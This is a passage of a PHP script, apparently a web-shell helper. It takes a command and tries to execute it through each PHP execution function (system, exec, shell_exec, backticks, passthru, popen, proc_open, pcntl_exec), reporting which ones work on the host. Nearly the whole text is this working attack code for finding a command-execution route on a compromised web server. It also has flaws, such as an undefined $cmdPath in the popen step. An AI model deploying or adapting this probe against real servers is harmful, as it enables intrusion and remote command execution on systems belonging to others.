$cmd

"; // // system() // $methodName = "system()"; ob_start(); $output = system("$cmd 2>&1", $return); ob_end_clean(); if(strlen($output) > 0 && $return == 0) { echo "[*] $methodName works. Output value: " . $output . "
"; } else { echo "[!] $methodName fails. Return value: " . $return . "
"; } // // exec(); // $methodName = "exec()"; $output = ""; $return = ""; exec($cmd, $output, $return); if(strlen($output[0]) > 0 && $return == 0) { echo "[*] $methodName works. Output value: " . $output[0] . "
"; } else { echo "[!] $methodName fails. Return value: " . $return . "
"; } // // shell_exec() // $methodName = "shell_exec()"; $output = ""; $return = ""; $output = shell_exec($cmd); if(strlen($output[0]) > 0) { echo "[*] $methodName works. Output value: " . $output . "
"; } else { echo "[!] $methodName fails.
"; } // // backticks // $methodName = "backticks"; $output = ""; $return = ""; $output = `$cmd`; if(strlen($output[0]) > 0) { echo "[*] $methodName works. Output value: " . $output . "
"; } else { echo "[!] $methodName fails.
"; } // // passthru() // $methodName = "passthru()"; $output = ""; $return = ""; ob_start(); passthru($cmd, $return); $output = ob_get_contents(); ob_end_clean(); if(strlen($output[0]) > 0 && $return == 0) { echo "[*] $methodName works. Output value: " . $output . "
"; } else { echo "[!] $methodName fails.
"; } // // popen() // $methodName = "popen()"; $output = ""; $return = ""; $handle = popen($cmdPath, "r"); $output = fread($handle, 2096); pclose($handle); if(strlen($output) > 0) { echo "[*] $methodName works. Output value: " . $output . "
"; } else { echo "[!] $methodName fails.
"; } // // proc_open() // $methodName = "proc_open()"; $output = ""; $return = ""; $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to ); $cwd = '/tmp'; $env = array('some_option' => 'aeiou'); $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $return = proc_close($process); } if(strlen($output) > 0 && $return == 0) { echo "[*] $methodName works. Output value: " . $output . "
"; } else { echo "[!] $methodName fails.
"; } // // pcntl_exec() // $methodName = "pcntl_exec()"; $output = ""; $return = ""; if (!function_exists("pcntl_exec")) { echo "[!] $methodName doesn't exist
"; } else { echo "[*] $methodName exists, but no output/return possible
"; } ?>